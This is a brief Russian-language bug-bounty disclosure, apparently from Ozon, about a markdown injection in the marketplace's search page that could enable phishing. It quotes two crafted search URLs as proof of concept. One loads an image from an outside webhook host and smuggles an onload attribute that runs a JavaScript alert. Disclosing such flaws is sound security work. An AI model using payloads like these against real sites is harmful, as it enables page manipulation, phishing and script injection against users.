Markdown injections

Поисковая строка на главной странице маркетплейса оказалась уязвима к markdown-инъекциям:
https://www.ozon.ru/search/?text=
Введеный код отображался браузером как форматированный текст, что могло привести к манипуляциям содержимым страницы и последующим фишинговым атакам.

Для выполнения инъекции на стороне атакуемого пользователя необходимо было кликнуть по одной из специально сформированных ссылок:
https://www.ozon.ru/search/?text=!%5B%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%B8%D0%BA%D0%B0%5D(https%3A%2F%2Fapi.standoff365.com%2Fapi%2Fauthservice%2Fuser%2Fimage%2Fbezopashka)&from_global=true
https://www.ozon.ru/search/?text=!%5B%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%B8%D0%BA%D0%B0%5D(https%3A%2F%2Fwebhook.site%2F2a1a0346-8581-4e22-8b15-34f9af9a9aa5%2F%22onload%3D%22alert(%27ImageOnLoad%27))&from_global=true

Благодарим bezopashka за вклад в безопасность Ozon, ждем новых отчётов в будущем!